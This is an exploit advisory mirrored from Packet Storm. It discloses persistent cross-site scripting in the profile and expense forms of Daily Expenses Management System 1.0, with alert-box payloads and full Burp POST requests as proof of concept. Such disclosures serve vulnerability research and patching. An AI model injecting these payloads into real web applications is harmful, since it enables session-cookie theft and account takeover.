Lucene search
K

Daily Expenses Management System 1.0 Cross Site Scripting

🗓️ 06 Aug 2020 00:00:00Reported by Edo MalandType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 120 Views

Daily Expenses Management System 1.0 Persistent Cross-Site Scripting Vulnerabilitie

Code
`# Exploit Title: Daily Expenses Management System 1.0 - Multiple Persistent Cross-Site Scripting  
# Date: 2020-8-4  
# Exploit Author: Edo Maland  
# Vendor Homepage: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html  
# Software Link: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html  
# Version: 1.0  
# Tested on: XAMPP / Windows 10  
  
  
-------------------------------------------------------------------------------------------------------------------------------------  
  
  
# Vulnerability Details  
# Feature: Edit Profile  
# Description : A persistent cross-site scripting vulnerability exists within the 'Edit Profile' functionality of application.   
# Vulnerable Parameter : fullname  
  
# POC  
  
Go to url : https://example.com/dets/user-profile.php  
Payload :   
- <img src=xss onerror=alert(document.cookie)>  
  
# Burp Requests  
  
POST /dets/user-profile.php HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: id,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 105  
Origin: https://example.com  
DNT: 1  
Connection: close  
Referer: https://example.com/dets/user-profile.php  
Cookie: PHPSESSID=m8d5bbejrmmtvnmm3va3htq8c1  
Upgrade-Insecure-Requests: 1  
  
fullname=<img src=xss onerror=alert(document.cookie)>&[email protected]&contactnumber=1313371337&regdate=2020-08-05+13%3A19%3A49&submit=  
  
  
-------------------------------------------------------------------------------------------------------------------------------------  
  
# Vulnerability Details  
# Feature: Add Expenses  
# Description : A persistent cross-site scripting vulnerability exists within the 'Add Expenses' functionality of application.   
# Vulnerable Parameter :  
- item  
- costitem  
  
# POC  
  
Go to url : https://example.com/dets/add-expense.php  
Payload :   
- <img src=xss onerror=alert(document.cookie)>  
- <script>alert(1337)</script>  
  
# Burp Requests  
  
POST /dets/add-expense.php HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: id,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 144  
Origin: https://example.com  
DNT: 1  
Connection: close  
Referer: https://example.com/dets/add-expense.php  
Cookie: PHPSESSID=m8d5bbejrmmtvnmm3va3htq8c1  
Upgrade-Insecure-Requests: 1  
  
dateexpense=1337-11-11&item=%3Cimg+src%3Dxss+onerror%3Dalert%28document.cookie%29%3E&costitem=%3Cimg+src%3Dxss+onerror%3Dalert%282%29%3E&submit=  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation